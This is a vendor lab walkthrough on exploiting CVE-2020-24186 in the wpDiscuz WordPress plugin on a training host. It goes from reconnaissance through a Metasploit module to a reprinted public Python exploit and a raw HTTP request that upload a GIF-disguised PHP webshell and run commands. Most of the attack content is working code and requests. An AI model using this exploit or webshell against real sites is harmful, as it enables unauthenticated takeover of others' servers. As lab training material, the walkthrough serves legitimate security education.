Vulnerability Lab: WordPress Plugin wpDiscuz Unauthenticated RCE
In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!
Purpose: We will learn how to exploit WordPress Plugin wpDiscuz using the Metasploit Framework module. We will see how to exploit it using a python script as well. We will also learn how to exploit it manually to better understand the vulnerability.
Goal after completing this scenario: Retrieve the flag!
Technical difficulty: Beginner
Introduction
The wpDiscuz plugin is a commenting plugin for WordPress. It enables visitors to discuss topics and easily customise their comments through the use of a rich text editor. It also provides an image uploading functionality that allows users to upload an image along with their comments. However, the improper implementation of this feature resulted in a critical vulnerability. The plugin v7.0 to v7.0.4 suffers from a remote code execution vulnerability which allows unauthenticated users to upload any type of file, including PHP files via the wmuUploadFiles AJAX action. Even though only image attachments were intended to be allowed, this vulnerability occurred due to certain file mime type detection functions that were used, which checked for the file mime type based on the file content. It was discovered that any file type that had image-identifying features would bypass the check and could easily get uploaded.
This vulnerability has been assigned the CVE id CVE-2020-24186. The CVSS score for this vulnerability is 10.0 Critical!
Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-24186
Lab Environment
In this lab environment, the user is going to get access to a Kali GUI instance. A vulnerable version of the wpDiscuz WordPress plugin is running on the target machine. It can be accessed using the tools installed on Kali at http://demo.ine.local.
The complete path to the post is: http://demo.ine.local/index.php/2022/05/20/hello-world/
Objective: Exploit the unauthenticated remote code execution vulnerability in the wpDiscuz WordPress plugin to gain shell access on the target server and retrieve the flag!
Tools
The best tools for this lab are:
Nmap
Dirb
Curl
A web browser
Python
Metasploit Framework
Solution
Step 1: Open the lab link to access the Kali GUI instance.
Step 2: Check if the provided machine/domain is reachable.
Command: ping -c3 demo.ine.local
The provided machine is reachable. 192.162.69.3 is the IP address of the target machine.
Step 3: Check open ports on the provided machine.
Command: nmap -sS -sV demo.ine.local
Apache httpd 2.4.18 is running on port 80 on the target machine.
Step 4: Next we will use the dirb tool to find files and directories on the web server.
Command: dirb http://demo.ine.local
Step 5: We can notice that WordPress is running on the target machine. We will run the dirb tool again to find installed plugins on the target machine.
Command:
dirb http://demo.ine.local/wp-content/plugins /usr/share/nmap/nselib/data/wp-plugins.lst
Step 6: We can notice that the wpdiscuz plugin is installed on the target machine. All the WordPress plugins have either **readme.txt" or "README.txt" file in their directory, from which we can find the plugin version. We can use the curl command here to view the first few lines of "readme.txt" file.
Command: curl http://demo.ine.local/wp-content/plugins/wpdiscuz/readme.txt | head -n 10
The Stable tag shows 7.0.4, which is a vulnerable version.
Exploit using Metasploit module
Step 7: First check the attacker machine's IP address.
Command: ifconfig
192.162.69.2 is the attacker machine's IP address.
Step 8: Start the msfconsole and do a search for the module for CVE-2020-24186.
Commands:
msfconsole -q
search CVE-2020-24186
Step 9: We get the desired module. Run the following command to use this module.
Command: use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
Step 10: You can also quickly run the following command to see what all options are required and what needs to be changed.
Command: show options
Step 11: Now run the following commands one by one:
Commands:
set RHOSTS 192.162.69.3
set BLOGPATH /index.php/2022/05/20/hello-world/
set LHOST 192.162.69.2
check
exploit
Note: RHOSTS is the target machine's IP address and LHOST is the attacker machine's IP address. And these values may vary for you.
We have successfully gained the meterpreter session.
Step 12: Run the following command to access bash.
Commands: shell
Step 13: Find the flag file.
Command: find / -iname *flag* 2>/dev/null
The flag is present in /var/www/html/THIS_IS_FLAG1212424 file.
Step 14: Retrieve the flag.
Command: cat /var/www/html/THIS_IS_FLAG1212424
FLAG: b5a6d2d2611d17f6aa50056727ea411e
Exploit using Python script
We will use the public exploit script available at the following URL:
Step 15: From the terminal, save the following python code in a file named exploit.py.
#!/bin/python3
# Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
# Google Dork: N/A
# Date: 2021/06/08
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://gvectors.com/
# Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
# Version: wpDiscuz 7.0.4
# Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
# CVE : CVE-2020-24186
# Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)
import requests
import optparse
import re
import random
import time
import string
import json
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")
parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")
options, args = parser.parse_args()
if not options.url or not options.path:
print('[+] Specify an url target')
print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')
print('[+] Example help usage: exploit.py -h')
exit()
session = requests.Session()
main_url = options.url
path = options.path
url_blog = main_url + path
clean_host = main_url.replace('http://', '').replace('/wordpress','')
def banner():
print('---------------------------------------------------------------')
print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
print('[-] CVE: CVE-2020-24186')
print('[-] https://github.com/hevox')
print('--------------------------------------------------------------- \n')
def csrfRequest():
global wmuSec
global wc_post_id
try:
get_html = session.get(url_blog)
response_len = str(len(get_html.text))
response_code = str(get_html.status_code)
print('[+] Response length:['+response_len+'] | code:['+response_code+']')
raw_wmu = get_html.text.replace(',','\n')
wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
print('[!] Got wmuSecurity value: '+ wmuSec +'')
raw_postID = get_html.text.replace(',','\n')
wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')
except requests.exceptions.HTTPError as err:
print('\n[x] Failed to Connect in: '+url_blog+' ')
print('[x] This host seems to be Down')
exit()
def nameRandom():
global shell_name
print('[+] Generating random name for Webshell...')
shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
time.sleep(1)
print('[!] Generated webshell name: '+shell_name+'\n')
return shell_name
def shell_upload():
global shell
print('[!] Trying to Upload Webshell..')
try:
upload_url = main_url + "/wp-admin/admin-ajax.php"
upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
json_object = (json.loads(check.text))
status = (json_object["success"])
get_path = (check.text.replace(',','\n'))
shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
find_shell = str(shell_pret)
raw = (find_shell.replace('\\','').replace('url":"','').replace('\',','').replace('"','').replace('[\'',''))
shell = (raw.split(" ",1)[0])
if status == True:
print('[+] Upload Success... Webshell path:' +shell+' \n')
else:
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
exit()
except requests.exceptions.HTTPError as conn:
print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
return shell
def code_exec():
try:
while True:
cmd = input('> ')
codex = session.get(shell + '?cmd='+cmd+'')
print(codex.text.replace('GIF689a;','').replace('�',''))
except:
print('\n[x] Failed to execute PHP code...')
banner()
csrfRequest()
nameRandom()
shell_upload()
code_exec()
Now, run the script along with the required arguments as shown below.
Command: python3 exploit.py -u http://demo.ine.local -p /index.php/2022/05/20/hello-world/
The python script successfully exploited the target.
Exploit Manually
Step 16: Configure the intercept on the browser as shown below.
Step 17: Start Burp Suite and capture the following request:
URL: http://demo.ine.local/index.php/2022/05/20/hello-world/
Next, send the captured request to the repeater. And then you can turn off the intercept.
Step 18: Replace the request in the repeater with the following.
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: demo.ine.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------80428247527883332923653124875
Content-Length: 854
Origin: http://demo.ine.local
Connection: close
Referer: http://demo.ine.local/index.php/2022/05/20/hello-world/
-----------------------------80428247527883332923653124875
Content-Disposition: form-data; name="action"
wmuUploadFiles
-----------------------------80428247527883332923653124875
Content-Disposition: form-data; name="wmu_nonce"
8376c835fe
-----------------------------80428247527883332923653124875
Content-Disposition: form-data; name="wmuAttachmentsData"
undefined
-----------------------------80428247527883332923653124875
Content-Disposition: form-data; name="wmu_files[0]"; filename="backdoor.php"
Content-Type: image/png
GIF89a;
<?php system($_GET['cmd']); ?>
-----------------------------80428247527883332923653124875
Content-Disposition: form-data; name="postId"
1
-----------------------------80428247527883332923653124875--
Remember to change the wmuSecurity value in the above request as it may be different for you. This value is placed here in the request as shown below.
Also, note that the post id is already set to 1.
You can find the wmuSecurity value from View Page Source.
Similarly, you can verify the post id by searching for wc_post_id.
Now let's see what we are doing here. We have just added a fake signature of an allowed file type in our php file. This will bypass the file content verification check and our php backdoor will get uploaded.
Step 19: Hit Send. The exploit worked and we get a link to the uploaded file in the response.
Step 20: Copy that link and append ?cmd=id to it and run it. The id command is successfully executed.
Conclusion
In this article, we learned how to exploit the unauthenticated remote code execution vulnerability in wpDiscuz WordPress plugin v7.0.4 using Metasploit module, using Python script as well as manually using Burp Suite.
References
Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!